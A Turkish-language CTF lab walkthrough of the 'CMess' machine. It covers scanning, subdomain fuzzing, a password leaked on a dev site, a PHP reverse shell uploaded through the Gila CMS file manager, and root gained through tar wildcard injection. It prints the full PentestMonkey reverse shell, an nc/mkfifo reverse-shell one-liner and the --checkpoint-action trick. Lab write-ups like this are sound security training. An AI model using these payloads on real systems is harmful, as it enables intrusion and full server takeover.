Yeni bir makine, yeni bir macera. Her yeni CTF, bilinmezliklerle dolu bir IP adresiyle başlar. Görevimiz, bu dijital kalenin duvarlarını sistematik olarak incelemek, zayıf noktalarını tespit etmek ve içeri sızmak için bir yol haritası çıkarmaktır.
Aşama 1: İlk Temas ve Ağ Taraması
Her şeyden önce, hedefimizin hayatta olup olmadığını ve ağda bize nasıl göründüğünü anlamamız gerekir.
1. Ping ile Yaşam Belirtisi Kontrolü
En temel aracımız ping ile hedefe bir "merhaba" diyoruz.
ping 10.10.x.x -c 2Gelen cevap, avımızın başladığını doğruluyor:
ping 10.10.x.x -c 2
PING 10.10.x.x (10.10.x.x) 56(84) bytes of data.
64 bytes from 10.10.x.x: icmp_seq=1 ttl=63 time=195 ms
64 bytes from 10.10.x.x: icmp_seq=2 ttl=63 time=123 ms
--- 10.10.x.x ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 122.711/158.635/194.559/35.924 ms0% packet loss, hedefimizin ayakta ve erişilebilir olduğunu gösteriyor. Artık kalenin kapılarını ve pencerelerini aramaya başlayabiliriz.
2. Nmap ile Saldırı Yüzeyini Haritalama
Siber güvenlik uzmanlarının İsviçre çakısı olan Nmap ile hedefimizin dış dünyaya açık olan servislerini keşfediyoruz.
nmap -sS -sV -Pn -T4 10.10.x.x-sS: Hızlı ve gizli bir tarama için SYN taraması.-sV: Portlarda çalışan servislerin versiyon bilgilerini tespit eder. Bu, bilinen zafiyetleri ararken hayati önem taşır.-Pn: Ping kontrolünü atlayarak hedefin ICMP isteklerini engellemesi durumunda bile taramayı garantiler.-T4: Taramayı hızlandırmak için agresif zamanlama kullanır.
Nmap'in bize sunduğu harita oldukça netti:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))Karşımızda iki ana kapı var.
Port 22 (SSH), elimizde geçerli bir kullanıcı bilgisi olmadan aşılması zor bir kale duvarı gibidir. Bu yüzden, genellikle en zengin saldırı yüzeyini sunan Port 80 (HTTP), yani web sunucusu, ilk hedefimiz olacak.
Aşama 2: Web Sunucusunu Keşfetmek
Tarayıcımıza http://10.10.x.x yazdığımızda bizi bir "Gila CMS" sayfası karşıladı. CMS (Content Management System - İçerik Yönetim Sistemi), bir web sitesinin içeriğini yönetmek için kullanılan bir yazılımdır (WordPress gibi). Bu bilgi çok değerli, çünkü spesifik bir yazılım, spesifik zafiyetler anlamına gelebilir.
Manuel olarak siteyi gezdiğimizde bariz bir giriş noktası veya ilginç bir işlevsellik bulamadık. Bu durum, bizi bir sonraki adıma, yani görünmeyeni görmeye zorluyor: Otomatik dizin taraması.
Web sitelerinin genellikle link vermediği gizli dizinleri ve dosyaları bulunur. ffuf aracı, devasa kelime listeleri kullanarak bu gizli yolları "kaba kuvvet" (brute-force) ile bulmamızı sağlar.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.x.x:80/FUZZffuf, kelime listesindeki her kelimeyi FUZZ anahtar kelimesinin yerine koyarak dener ve sunucudan gelen cevapları analiz eder. Tarama sonucunda oldukça uzun bir liste elde ettik.
0 [Status: 200, Size: 3872, Words: 522, Lines: 108, Duration: 161ms]
01 [Status: 200, Size: 4106, Words: 431, Lines: 103, Duration: 169ms]
1 [Status: 200, Size: 4106, Words: 431, Lines: 103, Duration: 196ms]
1x1 [Status: 200, Size: 4106, Words: 431, Lines: 103, Duration: 149ms]
about [Status: 200, Size: 3367, Words: 372, Lines: 93, Duration: 156ms]
About [Status: 200, Size: 3353, Words: 372, Lines: 93, Duration: 197ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4212ms]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4223ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 4225ms]
admin [Status: 200, Size: 1587, Words: 377, Lines: 42, Duration: 336ms]
api [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 328ms]
assets [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 438ms]
author [Status: 200, Size: 3611, Words: 419, Lines: 102, Duration: 172ms]
blog [Status: 200, Size: 3872, Words: 522, Lines: 108, Duration: 322ms]
category [Status: 200, Size: 3883, Words: 522, Lines: 110, Duration: 331ms]
cm [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 383ms]
feed [Status: 200, Size: 735, Words: 37, Lines: 22, Duration: 428ms]
fm [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 365ms]
Index [Status: 200, Size: 3872, Words: 522, Lines: 108, Duration: 478ms]
index [Status: 200, Size: 3872, Words: 522, Lines: 108, Duration: 478ms]
lib [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 405ms]
log [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 405ms]
login [Status: 200, Size: 1587, Words: 377, Lines: 42, Duration: 418ms]
robots.txt [Status: 200, Size: 65, Words: 5, Lines: 5, Duration: 512ms]
search [Status: 200, Size: 3872, Words: 522, Lines: 108, Duration: 472ms]
Search [Status: 200, Size: 3872, Words: 522, Lines: 108, Duration: 470ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 491ms]
sites [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 467ms]
src [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 435ms]
tags [Status: 200, Size: 3153, Words: 337, Lines: 85, Duration: 401ms]
tag [Status: 200, Size: 3895, Words: 523, Lines: 110, Duration: 401ms]
themes [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 395ms]
tmp [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 370ms]Aşama 3: Bulguları Değerlendirme ve Strateji Belirleme
ffuf'un bulduğu uzun listeden bazı önemli noktalar öne çıkıyor:
- /admin ve /login: Bunlar bir CMS için beklenen yollardır. Yönetici paneline veya kullanıcı giriş sayfasına işaret ederler. Şimdilik standart görünüyorlar ama aklımızın bir köşesinde tutacağız.
- /assets, /themes, /lib: Bunlar, CMS'in yapısını ve kullandığı teknolojileri anlamamıza yardımcı olan standart dizinlerdir.
- 403 Forbidden Yanıtları:
.htaccess,.htpasswdgibi dosyalara erişimimizin engellenmiş olması (403 Forbiddenhatası) aslında olumlu bir işarettir. Bu, bu dosyaların var olduğunu ve sunucunun (Apache) erişim kontrolü için bu mekanizmaları kullandığını doğrular.
Aşama 4: Subdomain Keşfetmek ve Geliştirici Sırları
Gila CMS'in bilinen bir zafiyetini bulamayınca, stratejimizi bir adım öteye taşıdık. Modern web sunucuları, tek bir IP adresi üzerinde birden fazla web sitesi barındırabilir. Bu teknolojiye "Virtual Hosting" (Sanal Konaklama) denir. Bazen ana site güvenli görünse de, aynı sunucuda unutulmuş bir geliştirme sitesi gibi daha az güvenli alt alan adları bulunabilir. Amacımız, cmess.thm alan adına ait olası alt alan adlarını keşfetmekti.
Bu görev için yine ffuf aracını kullandık, ancak bu sefer farklı bir modda. URL yolunu değil, sunucuya gönderilen Host başlığını "fuzz"ladık. Öncelikle, işletim sistemimizin cmess.thm alan adını hedef IP'ye yönlendirebilmesi için /etc/hosts dosyamıza şu satırı ekledik:
10.10.x.x cmess.thm
Ardından, alt alan adı taramasını başlattık:
ffuf -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -H "Host: FUZZ.cmess.thm" -u http://10.10.x.x -fs 0 -fl 108Komut Analizi:
-w ...: Alt alan adı olarak denenecek kelimeleri içeren bir kelime listesi.-H "Host: FUZZ.cmess.thm": İşte sihirli kısım burası.ffuf,FUZZyerine kelime listesindeki her kelimeyi koyarakHostbaşlığını değiştirir (örn:Host: test.cmess.thm).-u http://10.10.x.x: İsteklerin gönderileceği temel IP adresi.-fs 0 -fl 108: Belirli boyutlardaki (size/line) cevapları filtreleyerek gereksiz sonuçları gizler.
Tarama kısa sürede meyvesini verdi ve gizli bir hazineyi ortaya çıkardı:
dev [Status: 200, Size: 934, Words: 191, Lines: 31]dev adında bir alt alan adı bulduk! Bu siteye erişebilmek için, onu da /etc/hosts dosyamıza eklememiz gerekiyordu:
10.10.x.x dev.cmess.thm
Aşama 5: Bilgi Sızıntısını Sömürmek
Artık http://dev.cmess.thm/ adresine tarayıcımızdan erişebilirdik. Karşımıza çıkan sayfa, bir "Development Log" (Geliştirme Günlüğü) idi ve içerdiği konuşma, aradığımız anahtarı bize altın tepside sundu:
andre@cmess.thm: … I seem to be unable to get onto the admin panel.
support@cmess.thm: Your password has been reset. Here: KPFTN_f2yxe%
Bu, sızma testlerinde karşılaşılabilecek en kritik hatalardan biridir: Hassas bilgilerin (bu durumda bir parola) güvenli olmayan bir ortamda (geliştirme sitesi) açıkça ifşa edilmesi.
Artık elimizde bir kullanıcı adı (andre@cmess.thm) ve bir parola vardı. Vakit kaybetmeden, ilk taramada bulduğumuz ana sitenin /admin giriş paneline yöneldik ve bu kimlik bilgilerini denedik:
- Kullanıcı Adı:
andre@cmess.thm - Parola:
KPFTN_f2yxe%
Ve… Başarılı! Giriş yaptık ve Gila CMS'in yönetim paneli karşımızdaydı.
Bu noktada, basit bir web sitesi olarak başlayan hedefimiz, gizli bir alt alan adını keşfedip oradaki bilgi sızıntısını kullanarak yönetici paneline sızdığımız bir operasyona dönüştü. Artık uygulamanın içindeyiz ve yetkilerimiz çok daha fazla.
Aşama 6: Keşif ve Değerli Bir Hazine: config.php
Yönetici paneline sızmayı başardık. Artık bir misafir değil, kalenin içinde dolaşan biriyiz. Ancak asıl hedefimiz, kalenin kontrolünü tamamen ele geçirmek, yani sunucuda komut çalıştırabilmektir. Bir CMS panelinde bu amaca ulaşmak için akla gelen ilk yerler dosya yöneticileri (file manager), tema veya eklenti düzenleyicileridir.
Stratejimiz, sunucuya zararlı bir kod yükleyip onu tetikleyerek bize bir "reverse shell" (ters bağlantı) açmasını sağlamaktı.
CMS panelindeki File Manager (/admin/fm) bölümüne gittik. Bu tür paneller genellikle web sitesinin tüm dosyalarına erişim imkanı sunar ve bu da onları altın madenine çevirir. Dosyaları karıştırırken, adı her zaman dikkat çeken config.php dosyasına rastladık.
Konfigürasyon dosyaları, bir uygulamanın veritabanı bağlantıları gibi en hassas bilgilerini içerir. Dosyayı açtığımızda, aradığımızı bulduk:
'db' =>
array (
'host' => 'localhost',
'user' => 'root',
'pass' => 'r0otus3rpassw0rd',
'name' => 'gila',
),Bu, inanılmaz derecede kritik bir bilgiydi. Veritabanı root kullanıcısının parolasını ele geçirdik: r0otus3rpassw0rd. Bu parolanın başka yerlerde, özellikle de sistemin root kullanıcısı için tekrar kullanılmış olma ihtimali her zaman vardır. Bu bilgiyi şimdilik bir kenara not ettik ve asıl hedefimize odaklandık.
Aşama 7: Silahı Yerleştirmek ve Tuzağı Kurmak
Şimdi, sunucuya kendi kodumuzu yükleme zamanı.
1. Dinleyiciyi (Listener) Hazırlamak:
Saldırgan makinemizde, sunucudan gelecek olan bağlantıyı yakalamak için netcat ile bir dinleyici başlattık. Bu, bizim "komuta kontrol merkezimiz" olacak.
nc -lvnp 32432Bu komut, 32432 numaralı portu dinlemeye başlar ve bir bağlantı geldiğinde bize bir komut satırı sunar.
2. Reverse Shell Kodunu Yüklemek:
File Manager'ı kullanarak, web sunucusunun dışarıdan erişebileceği bir dizin olan /assets/ içine rev.php adında yeni bir dosya oluşturduk.
İçine, meşhur "PentestMonkey PHP Reverse Shell" kodunu yapıştırdık. Bu kod, çalıştığı sunucudan bizim belirttiğimiz IP ve porta bir bağlantı başlatarak bize bir shell verir. Kodun içinde sadece iki satırı kendi bilgilerimizle güncelledik:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.1.x';
$port = 32432;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>Dosyayı kaydettik. Artık bomba kurulmuş ve patlatılmaya hazırdı.
Aşama 8: Tetiği Çekmek ve İlk Erişimi Sağlamak
Her şey hazırdı. Dinleyicimiz bekliyor, zararlı kodumuz sunucudaki yerini almıştı. Geriye kalan tek şey, bu kodu tetiklemekti.
Tarayıcımıza, yüklediğimiz dosyanın URL'sini yazdık ve Enter'a bastık:
http://cmess.thm/assets/rev.php
Bu isteği gönderdiğimiz anda, saldırgan makinemizdeki netcat ekranı canlandı. Gelen bağlantı başarılıydı ve karşımızda hedef sunucunun komut satırı belirdi:
connect to [10.10.1.x] from (UNKNOWN) [10.10.x.x] 45588
Linux gila 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ whoami
www-dataBaşardık! Artık sunucunun içindeyiz. www-data gibi düşük yetkili bir kullanıcı olsak da, bu "Initial Access" (İlk Erişim) olarak adlandırılan en kritik adımı tamamladığımız anlamına geliyor. Bu noktada, dışarıdan bir saldırgan olmaktan çıkıp, sistemin içinde bir kullanıcı haline geldik. Ancak görevimiz henüz bitmedi.
Aşama 9: Zirveye Tırmanış — www-data'dan root'a
Elimizdeki kısıtlı www-data kabuğuyla sistem hakkında bilgi toplamak zordur. Bu yüzden, bu süreci otomatize eden ve potansiyel yetki yükseltme yollarını renkli bir şekilde bize sunan LinPEAS betiğini kullanacağız.
1. LinPEAS'i Sunucuya Aktarmak:
- Saldırgan makinemizde,
linpeas.shdosyasının bulunduğu dizinde basit bir web sunucusu başlattık:
python3 -m http.server 8213Hedef makinedeki shell'imizde, genellikle herkesin yazma izni olan /tmp dizinine geçtik ve betiği wget (veya curl) ile çektik:
cd /tmp
wget http://10.10.1.x:8213/linpeas.shScripti çalıştırılabilir hale getirdik ve çalıştırdık:
chmod +x linpeas.sh
./linpeas.shLinPEAS, sistem hakkında yüzlerce bilgi dökerken, iki bölüm kırmızı alarmlar çaldırıyordu….
- Cron Job (Zamanlanmış Görev):
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/mandre/backup && tar -zcf /tmp/andre_backup.tar.gz *Bu, sistemdeki en kritik bulguydu. Her iki dakikada bir, root kullanıcısı /home/mandre/backup dizinine gidiyor ve içindeki tüm dosyaları (*) tar komutuyla yedekliyordu. tar komutunun * (wildcard) ile kullanılması, bilinen bir zafiyet vektörüdür.
- İlginç Yazılabilir Dosyalar:
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/dev/mqueue
/dev/shm
/opt/.password.bak
/run/lock
/run/lock/apache2
/run/php/opt/.password.bak
Sistem genelinde yazılabilir dosyaları ararken, LinPEAS bize bu ilginç yedek dosyasını gösterdi. "password" ve ".bak" kelimeleri bir arada, genellikle unutulmuş bir parola anlamına gelir.
Aşama 10: Yanal Hareket — andre Kullanıcısı Olmak
Önce daha kolay görünen hedefe, yani parola dosyasına yöneldik.
cat /opt/.password.bakDosyanın içeriği tam da umduğumuz gibiydi:
andres backup password
UQfsXXXB7aAP6Artık sistemdeki andre kullanıcısının parolasını biliyorduk. Bu kullanıcıya geçiş yapmak için su andre komutunu kullanmamız gerekiyordu, ancak mevcut www-data shell'imiz basit bir "dump shell" olduğu için bu tür interaktif komutları desteklemiyordu. Önce shell'imizi tam interaktif bir TTY'ye yükseltmemiz gerekti.
python3 -c 'import pty; pty.spawn("/bin/bash")'Bu komutla shell'imiz artık çok daha yetenekliydi. andre kullanıcısına geçiş yapmayı denedik:
su andreBaşarılı! Artık www-data değil, andre kullanıcısıydık. Hemen ev dizinini (/home/andre/) kontrol ettik backup dizini vardı ve içindeki not, LinPEAS'in bulduğu cron görevini doğruladı.
Kendime not.
Buradaki her şey yedeklenecek!Aşama 11: Son Darbe — Cron Job ve tar Wildcard Zafiyetini Sömürmek
Artık root'a giden yol haritası netleşmişti. root tarafından her iki dakikada bir çalıştırılan ve bizim de yazma iznimiz olan bir dizinde (/home/andre/backup) çalışan zafiyetli bir tar komutu vardı.
tar komutu, — ile başlayan dosya isimlerini bir seçenek (option) olarak algılar. Örneğin, — checkpoint-action=exec=sh komut.sh adında bir dosya oluşturursak, tar * komutu bu dosyayı bir veri olarak değil, "her dosyayı işledikten sonra sh komut.sh komutunu çalıştır" şeklinde bir talimat olarak yorumlar.
Bu zafiyeti sömürmek için üç özel dosya oluşturduk:
1. Reverse Shell Yükü (run.sh):
Bu dosya, tetiklendiğinde bize root shell'i gönderecek olan komutu içerecek.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.x 21312 >/tmp/f" > /home/andre/backup/run.sh2. tar Komutunu Kandıran Dosyalar:
Şimdi, tar'a run.sh dosyamızı çalıştırmasını söyleyecek o sihirli dosyaları oluşturuyoruz.
touch /home/andre/backup/--checkpoint=1
touch /home/andre/backup/--checkpoint-action=exec=sh\ run.sh3. Tuzağı Kurmak ve Beklemek:
Saldırgan makinemizde son bir netcat dinleyicisi başlattık:
nc -lvnp 21312Her şey hazırdı. Şimdi tek yapmamız gereken, cron görevinin çalışması için en fazla iki dakika beklemekti. O iki dakika geçtiğinde… Dinleyicimizin ekranı canlandı:
connect to [10.10.1.x] from (UNKNOWN) [10.10.x.x] 39328
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)Zafer! root yetkisiyle sistemin mutlak kontrolünü ele geçirmiştik.
Bu CTF, bize siber güvenliğin katmanlı doğasını bir kez daha gösterdi. Yolculuğumuz, basit bir web sitesinden, gizli bir alt alan adını keşfetmeye, oradaki bir parola sızıntısını kullanarak yönetici paneline sızmaya, ve son olarak sistemin içindeki yanlış bir yapılandırmayı (cron ve tar zafiyeti) sömürerek root olmaya uzandı. Bir CTF daha bitti, güvenli kalın (: